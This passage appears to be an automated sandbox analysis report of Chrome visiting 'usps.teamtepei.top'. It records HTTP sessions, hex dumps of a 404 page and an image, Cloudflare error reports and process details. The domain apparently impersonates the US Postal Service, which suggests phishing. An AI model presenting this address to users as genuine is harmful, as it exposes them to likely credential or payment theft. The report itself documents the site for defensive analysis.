              Data Ascii: IZjIi#Ji')/#I5*};tA*jIYG:`MSLivyYjA9_J$be2WkN9qJxD-wd:Zz:Zz:s


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              7192.168.2.549720188.114.97.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:15 UTC592OUTGET /favicon.ico HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
              sec-ch-ua-mobile: ?0
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              sec-ch-ua-platform: "Windows"
              Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
              Sec-Fetch-Site: same-origin
              Sec-Fetch-Mode: no-cors
              Sec-Fetch-Dest: image
              Referer: https://usps.teamtepei.top/
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:16 UTC602INHTTP/1.1 404 Not Found
              Date: Mon, 27 May 2024 22:32:16 GMT
              Content-Type: text/html
              Transfer-Encoding: chunked
              Connection: close
              Cache-Control: max-age=14400
              CF-Cache-Status: EXPIRED
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975bbbde3440b-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:16 UTC562INData Raw: 32 32 62 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45
              Data Ascii: 22b<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE
              2024-05-27 22:32:16 UTC5INData Raw: 30 0d 0a 0d 0a
              Data Ascii: 0


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              8192.168.2.549719188.114.96.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:15 UTC541OUTGET /websocket/274c4bd7790f98846f33fa355b525127 HTTP/1.1
              Host: api.teamtepei.top
              Connection: Upgrade
              Pragma: no-cache
              Cache-Control: no-cache
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              Upgrade: websocket
              Origin: https://usps.teamtepei.top
              Sec-WebSocket-Version: 13
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              Sec-WebSocket-Key: zZMnDXCcPV8BO3cdlpmznA==
              Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
              2024-05-27 22:32:16 UTC769INHTTP/1.1 404
              Date: Mon, 27 May 2024 22:32:16 GMT
              Content-Length: 0
              Connection: close
              Access-Control-Allow-Origin: *
              Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
              Access-Control-Max-Age: 3600
              Access-Control-Allow-Headers: *
              Vary: Origin
              Vary: Access-Control-Request-Method
              Vary: Access-Control-Request-Headers
              CF-Cache-Status: DYNAMIC
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iMjg1nliBACJsv6LDmSCp3UVqjXspsGo8nU3Und%2F3TXyT1w4s2WVr%2BV1ZjJUBsPjMVk7uPMTGbowDQRzgkEDPcfQsgVYAoNEeTxM9UXU05coJW6bYLV8M37KUIVBPFESfB6auQ%3D%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975bbb811186d-EWR
              alt-svc: h3=":443"; ma=86400


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              9192.168.2.549721184.28.90.27443
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:16 UTC161OUTHEAD /fs/windows/config.json HTTP/1.1
              Connection: Keep-Alive
              Accept: */*
              Accept-Encoding: identity
              User-Agent: Microsoft BITS/7.8
              Host: fs.microsoft.com
              2024-05-27 22:32:16 UTC467INHTTP/1.1 200 OK
              Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
              Content-Type: application/octet-stream
              ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
              Last-Modified: Tue, 16 May 2017 22:58:00 GMT
              Server: ECAcc (lpl/EF06)
              X-CID: 11
              X-Ms-ApiVersion: Distribute 1.2
              X-Ms-Region: prod-weu-z1
              Cache-Control: public, max-age=149818
              Date: Mon, 27 May 2024 22:32:16 GMT
              Connection: close
              X-CID: 2


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              10192.168.2.549723188.114.96.34431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:16 UTC398OUTGET /static/images/loading-icon-transparent-background-12.jpg HTTP/1.1
              Host: usps.teamtepei.top
              Connection: keep-alive
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              Accept: */*
              Sec-Fetch-Site: none
              Sec-Fetch-Mode: cors
              Sec-Fetch-Dest: empty
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:16 UTC683INHTTP/1.1 200 OK
              Date: Mon, 27 May 2024 22:32:16 GMT
              Content-Type: image/jpeg
              Content-Length: 81572
              Connection: close
              Last-Modified: Mon, 30 Oct 2023 07:40:53 GMT
              ETag: "653f5e05-13ea4"
              Cache-Control: max-age=14400
              CF-Cache-Status: HIT
              Age: 2
              Accept-Ranges: bytes
              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lt6UOBlFyaXGIgqsy77%2BY3XaZnWP63b382jee649bj3F1FnYIcnPTgOR3awK9WrvklnRU2fa5LFSwE6CdvUAVjZ5az6Fb3xGbcfMIHEyJ4EVblSaLlyIv3p8akkdFsAkA%2B5zw1I%3D"}],"group":"cf-nel","max_age":604800}
              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
              Server: cloudflare
              CF-RAY: 88a975bed93d434b-EWR
              alt-svc: h3=":443"; ma=86400
              2024-05-27 22:32:16 UTC686INData Raw: 47 49 46 38 39 61 76 02 7d 02 e6 41 00 eb eb eb 80 80 80 ec ec ec ed ed ed f1 f1 f1 86 86 86 ee ee ee 84 84 84 f6 f6 f6 f0 f0 f0 ef ef ef f2 f2 f2 f3 f3 f3 87 87 87 85 85 85 81 81 81 83 83 83 f5 f5 f5 f4 f4 f4 dd dd dd 46 46 46 f7 f7 f7 88 88 88 82 82 82 89 89 89 29 29 29 8a 8a 8a f8 f8 f8 34 34 34 b8 b8 b8 8d 8d 8d 6a 6a 6a 8b 8b 8b de de de 35 35 35 2b 2b 2b 8c 8c 8c 8e 8e 8e cc cc cc a7 a7 a7 50 50 50 f9 f9 f9 4b 4b 4b a8 a8 a8 6f 6f 6f e0 e0 e0 e1 e1 e1 6d 6d 6d 8f 8f 8f 2c 2c 2c 91 91 91 bb bb bb 95 95 95 ea ea ea 7f 7f 7f dc dc dc 45 45 45 28 28 28 b7 b7 b7 69 69 69 a6 a6 a6 cb cb cb 56 56 56 90 90 90 33 33 33 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
              Data Ascii: GIF89av}AFFF)))444jjj555+++PPPKKKooommm,,,EEE(((iiiVVV333
              2024-05-27 22:32:16 UTC1369INData Raw: 3d 22 22 20 78 6d 6c 6e 73 3a 64 63 3d 22 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63
              Data Ascii: ="" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:Instanc
              2024-05-27 22:32:16 UTC1369INData Raw: be e9 f8 f3 e1 ca 9b 47 bf fa 87 fb f7 f0 e1 a3 53 2f f2 dc 8e fb f8 f3 e3 67 2f 2e be ff ff ee 91 47 5f 39 fa 15 68 e0 7d fc 6d 03 e0 82 ff 8d 43 1f 55 e0 1c 28 e1 81 09 5a c3 e0 85 0d 82 f3 a0 0d e1 4c e8 a1 81 15 4a 83 e1 88 fe 7d b3 e1 37 1f a6 58 60 88 cf 90 e8 a2 7c dd 9c d8 8d 8a 34 e6 c7 22 33 2f e6 18 20 37 32 6e 53 e3 8f 08 de 88 8c 8e 44 f2 f8 20 37 40 26 29 a4 ff 31 44 36 b9 4d 8f d8 24 29 e5 92 c3 34 69 a5 36 50 5a 23 e5 96 54 02 63 e5 97 43 1d 19 e5 96 5c 76 c9 cb 97 60 62 93 25 35 64 92 69 e6 2e 68 a6 69 cd 9a d2 b4 e9 e6 9b b8 c4 89 e6 35 74 42 63 67 9b 78 de a2 a7 9c d4 f4 f9 cc 9f 77 06 3a cb a0 7b 56 63 68 33 88 26 aa 68 2c 8c 12 2a cd a3 cb 44 0a e8 a4 94 56 7a 65 a1 62 4e a3 a9 a4 9c b6 e2 a9 a5 cf 60 9a cc a8 a4 96 aa ca a9 a8 2a 15
              Data Ascii: GS/g/.G_9h}mCU(ZLJ}7X`|4"3/ 72nSD 7@&)1D6M$)4i6PZ#TcC\v`b%5di.hi5tBcgxw:{Vch3&h,*DVzebN`*
              2024-05-27 22:32:16 UTC1369INData Raw: d3 38 2c 23 96 77 5e 56 d0 f7 bf f6 bd 2f 7e a3 f1 5e 43 f0 57 be cb f8 2f 80 d7 21 e0 06 43 43 bf 8a 60 5d ff 7f 53 a1 60 05 b3 a3 c1 0e 6e d1 6a 2b db c8 2e 72 57 17 15 0e 31 83 31 9c 61 1c 15 d8 2e 94 fc 30 2e 42 cc e2 11 93 b8 c4 ca 80 30 7c f7 85 89 09 93 82 c5 38 76 f1 8b 61 3c a4 0d 47 a2 c3 d8 44 30 31 70 9c 63 75 ec f8 c5 cb 38 b1 20 80 ec 08 1b 87 82 c8 44 d6 f1 91 79 5c 0c 25 33 79 8d 42 0e 06 94 a3 6c e4 29 ef b8 c7 09 dd 2b 78 2a 99 65 5f 6c 19 ca 52 f6 32 95 85 61 e5 31 c7 b0 cc 98 3d 33 9a bb ac e6 2f 33 29 cc 95 d8 0e 99 3b 67 0c 39 9f 39 cd 75 c6 70 95 f1 4c 09 3d d7 d8 78 43 f6 f3 96 2f 1c e8 29 13 83 d0 85 66 0e 05 f9 dc 5d 45 2f 9a d1 8d 3e 72 95 20 1d 5a 49 1f 9a d2 7e b5 f4 9f 31 9d 69 4d 07 83 d3 9d ee cd a4 2b 17 57 51 8f 1a d0 a5
              Data Ascii: 8,#w^V/~^CW/!CC`]S`nj+.rW11a.0.B0|8va<GD01pcu8 Dy\%3yBl)+x*e_lR2a1=3/3);g99upL=xC/)f]E/>r ZI~1iM+WQ
              2024-05-27 22:32:16 UTC1369INData Raw: b0 e9 98 a8 d0 9a b4 f9 97 e8 11 9b b8 59 98 a7 50 9b bc 59 97 e7 91 9b c0 a9 97 a6 d0 9b c4 b9 96 bf 19 9c c8 f9 96 a5 50 9c cc f9 95 e3 91 9c d0 69 96 cb d9 9c d4 39 95 e2 11 9d d8 29 97 a3 50 9d dc 89 94 d7 99 9d e0 e9 94 db d9 9d e4 a9 93 df 19 9e e8 09 94 e3 59 9e ec a9 92 de 91 9e f0 f9 93 eb d9 9e f4 59 92 ef 19 9f f8 19 93 f3 59 9f fc e9 90 dd 91 9f 00 ea 92 fb d9 9f 04 9a 90 ff 19 a0 08 ea 91 03 5a a0 0c 4a 90 07 9a a0 10 aa 99 a2 d0 a0 14 2a 96 d9 11 a1 18 8a 96 13 5a a1 1c aa 03 0f 9a a1 19 ba a0 1d da 9f 1f 0a a2 11 2a a2 23 4a 9f f7 69 a2 18 8a a2 29 ca 9e 2b ca a2 10 ea a2 2f 4a 9e e7 29 ff a3 08 4a a3 35 ca 9d 37 8a a3 00 4a 0a 3b 4a a2 31 ea a3 f8 39 9d 41 da 9e cf 49 a4 3f 0a a4 47 8a a4 49 aa a4 f1 69 a4 4d 6a a3 4f 0a a5 e8 b9 9b 53 da
              Data Ascii: YPYPi9)PYYYZJ*Z*#Ji)+/J)J57J;J19AI?GIiMjOS
              2024-05-27 22:32:16 UTC1369INData Raw: d3 3d 8d 0a 2f cd cd b6 20 d3 fe 4a 0f 35 bd ae ba 80 d3 39 ed 09 3e dd d4 4e bd d3 a5 10 d4 42 3d d4 44 fd ae f3 70 d4 ec 9a d4 4a 5d cb 3a fd d4 5e ed d4 a2 20 d5 24 8d 0b 55 8d af f0 80 d5 04 bb 0b 5b 1d d2 9f f0 d5 6e 0d d6 a0 20 d6 63 7d 0b 65 0d b0 67 8d d6 1c cb 0b 6b cd d5 4c fd d6 7e ed d3 9f 20 d7 73 4d d7 75 8d b1 ee 80 d7 51 db ff 0b 7b cd d7 9c f0 d7 8e fd d3 9d 20 d8 ac dc 0b 85 0d b2 87 8d d6 c0 b0 d8 8f dc d7 8f dd d9 91 2d d9 a0 ec 0b 85 fd 0e 58 1d 0c 9a bd d9 8d dd d9 aa 5d 03 9c 00 da a1 2d da 75 dd 0e 47 2d 0c a7 8d da 9a b0 da b8 bd 09 ae fd da b0 4d d4 b2 9d d2 c3 50 db 9d 7c db b8 9d db 99 b0 db bc dd db 1a fd db 05 4d 0c c2 3d dc 98 50 dc c5 ad 09 c8 5d c8 c4 60 d2 cc 1d ce c6 f0 dc 80 bc 09 d2 3d dd c7 5d dd 77 7c dd cb ad 0e f9
              Data Ascii: =/ J59>NB=DpJ]:^ $U[n c}egkL~ sMuQ{ -X]-uG-MP|M=P]`=]w|
              2024-05-27 22:32:16 UTC1369INData Raw: 95 31 8b 1e cd 4d b3 c3 94 9d 3d 73 04 1d 9a b4 eb d7 5c 4d e7 43 9d fa df ff 67 d6 15 61 eb de 6d 4b f6 6c da b5 97 a9 c4 9d 9b b7 f1 e3 95 7c df 5b 19 9c d9 4a e2 04 91 4b 9f ae 7c b9 ca e6 c2 9f 43 bf 38 bd fb ee ea e1 58 62 57 c6 72 bb 40 ef e8 5d 83 07 27 7e fc a7 96 e6 b9 a7 9f bf 78 fd c3 f6 ee 3b c1 8f bf 8e be 7f c0 f6 11 a3 53 7e 9e e8 c4 5f 7f ff 25 78 56 80 02 b6 44 a0 7e fb 1d 88 92 82 14 6a c5 a0 38 03 3e 48 92 81 12 4e 58 e1 87 3d 5d 88 a1 83 1a a2 c3 61 87 d4 80 a8 22 4b 22 2e c2 53 89 26 46 88 62 2b 2b d6 98 52 8b c6 ec 04 63 33 3c cd 98 a2 8d 40 26 84 63 22 3d ed 58 53 8f 3e d2 18 e4 92 06 0d 19 53 91 46 d6 90 54 92 4a 32 69 65 3c 4e 3e f9 62 94 53 52 b9 ca 95 60 be 93 65 50 50 1a a9 94 97 5f 86 a9 66 36 63 92 b9 a5 99 67 a2 59 d0 9a 74
              Data Ascii: 1M=s\MCgamKl|[JK|C8XbWr@]'~x;S~_%xVD~j8>HNX=]a"K".S&Fb++Rc3<@&c"=XS>SFTJ2ie<N>bSR`ePP_f6cgYt
              2024-05-27 22:32:16 UTC1369INData Raw: a8 e3 8e de f4 48 63 3d 40 aa 23 64 ff 8e 44 16 69 e4 88 3f 72 88 e3 92 28 36 79 cd 93 47 ce 93 24 3a 54 0e 69 25 35 58 fa d8 ce 96 e2 74 c9 e4 97 60 86 09 e5 98 52 ae 63 a6 97 68 32 a3 a6 98 ea 90 09 ce 9b 70 c6 99 cc 9c 74 a6 63 e7 37 78 e6 a9 a7 31 7c f6 39 ce 9f dd 04 2a e8 a0 c4 14 ba 66 9d 6d 8e a3 e8 a2 8c fa e2 e8 a3 e8 20 7a cd a4 55 56 7a cc a5 98 8a a3 69 35 9c 76 ea 69 31 a0 6a 08 29 70 6e 96 5a e1 a9 9f a6 1a a1 9f 91 de e9 ea ab b0 a2 2a ab 81 ab d6 a6 e4 ad 16 e6 da e8 ae bc 66 5a ab 37 c0 e2 2a ac a5 c4 16 48 2b ab 92 26 1b ec b2 bd 34 5b ac a8 c7 62 23 ed b4 d4 ee 62 ed b5 e0 8c ca cc b6 dc 76 9b cb b7 ce 62 0b 6d 38 e4 2e 68 6e b5 e8 ea a7 ae af ec b6 0b e0 bb f0 c6 fb de bc b0 95 69 af 7d f8 f2 a2 af bc e1 66 4b cd bf f7 06 ec ed c0 e4
              Data Ascii: Hc=@#dDi?r(6yG$:Ti%5Xt`Rch2ptc7x1|9*fm zUVzi5vi1j)pnZ*fZ7*H+&4[b#bvbm8.hni}fK
              2024-05-27 22:32:16 UTC1369INData Raw: b1 89 bb 11 e1 f2 6a 06 c7 61 13 ea 91 5f dc 63 25 3f d8 1a 4d 4e c4 8d bb a9 b6 ba 4e 99 ca 55 b6 f2 8f e5 54 63 1b 23 e6 13 39 a6 c6 97 77 5c 5d 31 6b 18 c8 1d ce 0c 65 a0 9c 35 35 af 99 cd eb 75 b3 8c d3 a4 4d b9 0a 06 cd 5d 36 f2 9d 79 9c 67 3d ef 39 1a 71 f6 b0 5d 7c 58 67 69 0c 7a ca be 35 f4 a1 97 51 e6 4b 2c 9a d1 50 4b eb a3 8f 8c 5a 49 fb 18 d1 54 f3 09 59 fe d7 e8 65 6c 1a d2 9d f6 f4 a4 91 d1 67 99 62 65 14 51 56 c6 a9 51 9d 6a 55 af 9a 50 ac 13 b5 51 44 98 e9 64 cc fa cb e9 b0 b5 95 59 9d eb 76 c6 64 91 47 43 c6 af 81 ff 1d 6c 61 2b 99 d8 a5 0b 26 49 4e d1 eb d2 2e 9b d6 90 75 f6 a7 a5 79 32 48 ae c5 8e 3e 33 ee b5 b1 dd 6c 6d 6f 3b 81 e7 13 e4 63 b4 58 b3 62 8c 9b d9 ed 30 f7 b3 1d 59 31 fa b0 ac bb ef 26 77 5b e5 7d ee e7 31 cc de 23 f3 45
              Data Ascii: ja_c%?MNNUTc#9w\]1ke55uM]6yg=9q]|Xgiz5QK,PKZITYelgbeQVQjUPQDdYvdGCla+&IN.uy2H>3lmo;cXb0Y1&w[}1#E
              2024-05-27 22:32:16 UTC1369INData Raw: 9f ea 19 9d fa 89 9e fc 49 9e fe f9 9f e1 19 a0 e3 c9 9b 04 5a a0 06 ca 9d 08 9a a0 da 19 04 0b 6a 9d 0d ea a0 d2 19 9b 11 8a 9c ad 49 a1 d9 69 a1 17 1a 9c a5 a9 a1 cc c9 a1 1d aa 9b 1f 0a a2 c4 99 99 23 4a a2 95 69 a2 27 1a 9a 29 9a 9b 8d c9 a2 bd 99 98 2f ba 9a aa 23 ff a3 b7 49 a3 35 2a 9a 7d 89 a3 ae 99 97 3b ba 99 74 e9 a3 a6 f9 96 41 2a 99 6a 49 a4 97 59 96 47 3a 98 60 a9 a4 8e b9 95 4d ca 97 dd 03 a5 86 19 95 53 0a 97 4c 69 a5 76 79 94 59 6a 96 41 c9 a5 90 39 09 5f 4a 95 16 24 a6 62 f9 92 65 8a 94 32 84 a6 57 f9 09 6b ca 93 4e e4 a6 b0 39 0a 71 4a 92 78 44 a7 2d b9 0a 77 fa 95 f0 a8 a7 64 e9 8d 82 3a a8 84 5a a8 86 7a a8 88 9a a8 8a ba a8 8c da a8 8e fa a8 90 1a a9 92 3a a9 94 5a a9 96 7a a9 98 9a a9 9a ba a9 9c da a9 9e fa a9 a0 1a aa a2 3a aa fa
              Data Ascii: IZjIi#Ji')/#I5*};tA*jIYG:`MSLivyYjA9_J$be2WkN9qJxD-wd:Zz:Zz:


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              11192.168.2.54972435.190.80.14431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:16 UTC545OUTOPTIONS /report/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D HTTP/1.1
              Host: a.nel.cloudflare.com
              Connection: keep-alive
              Origin: https://usps.teamtepei.top
              Access-Control-Request-Method: POST
              Access-Control-Request-Headers: content-type
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:16 UTC336INHTTP/1.1 200 OK
              content-length: 0
              access-control-max-age: 86400
              access-control-allow-methods: POST, OPTIONS
              access-control-allow-origin: *
              access-control-allow-headers: content-type, content-length
              date: Mon, 27 May 2024 22:32:16 GMT
              Via: 1.1 google
              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
              Connection: close


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              12192.168.2.549725184.28.90.27443
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:17 UTC239OUTGET /fs/windows/config.json HTTP/1.1
              Connection: Keep-Alive
              Accept: */*
              Accept-Encoding: identity
              If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT
              Range: bytes=0-2147483646
              User-Agent: Microsoft BITS/7.8
              Host: fs.microsoft.com
              2024-05-27 22:32:17 UTC515INHTTP/1.1 200 OK
              ApiVersion: Distribute 1.1
              Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
              Content-Type: application/octet-stream
              ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
              Last-Modified: Tue, 16 May 2017 22:58:00 GMT
              Server: ECAcc (lpl/EF06)
              X-CID: 11
              X-Ms-ApiVersion: Distribute 1.2
              X-Ms-Region: prod-weu-z1
              Cache-Control: public, max-age=149900
              Date: Mon, 27 May 2024 22:32:17 GMT
              Content-Length: 55
              Connection: close
              X-CID: 2
              2024-05-27 22:32:17 UTC55INData Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d
              Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}


              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              13192.168.2.54972635.190.80.14431492C:\Program Files\Google\Chrome\Application\chrome.exe
              TimestampBytes transferredDirectionData
              2024-05-27 22:32:17 UTC484OUTPOST /report/v4?s=IBO03NtSyDfWDOMWpJOYn4QAT%2FCGLbYQo9VISqnOHVRggH%2BjvajgOp1%2BWaf%2B8HSJFP6B16TxlbPH4e9eT9RqZFhxs8lJ2Ff2OcWARHrfMxYvX7ADxYKnEvIEr1NsOuGMQEsbFYU%3D HTTP/1.1
              Host: a.nel.cloudflare.com
              Connection: keep-alive
              Content-Length: 425
              Content-Type: application/reports+json
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
              Accept-Encoding: gzip, deflate, br
              Accept-Language: en-US,en;q=0.9
              2024-05-27 22:32:17 UTC425OUTData Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 34 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 75 73 70 73 2e 74 65 61 6d 74 65 70 65 69 2e 74 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22
              Data Ascii: [{"age":2,"body":{"elapsed_time":940,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://usps.teamtepei.top/","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","url"
              2024-05-27 22:32:17 UTC168INHTTP/1.1 200 OK
              content-length: 0
              date: Mon, 27 May 2024 22:32:17 GMT
              Via: 1.1 google
              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
              Connection: close


              Statistics

              CPU Usage

              Click to jump to process

              Memory Usage

              Click to jump to process

              Behavior

              Click to jump to process

              System Behavior

              General

              Target ID:0
              Start time:18:32:04
              Start date:27/05/2024
              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
              Wow64 process (32bit):false
              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
              Imagebase:0x7ff715980000
              File size:3'242'272 bytes
              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:low
              Has exited:false

              General

              Target ID:2
              Start time:18:32:08
              Start date:27/05/2024
              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
              Wow64 process (32bit):false
              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2248,i,16208426569104691300,16977507337609586708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
              Imagebase:0x7ff715980000
              File size:3'242'272 bytes
              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:low
              Has exited:false

              General

              Target ID:3
              Start time:18:32:10
              Start date:27/05/2024
              Path:C:\Program Files\Google\Chrome\Application\chrome.exe
              Wow64 process (32bit):false
              Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usps.teamtepei.top/"
              Imagebase:0x7ff715980000
              File size:3'242'272 bytes
              MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
              Has elevated privileges:true
              Has administrator privileges:true
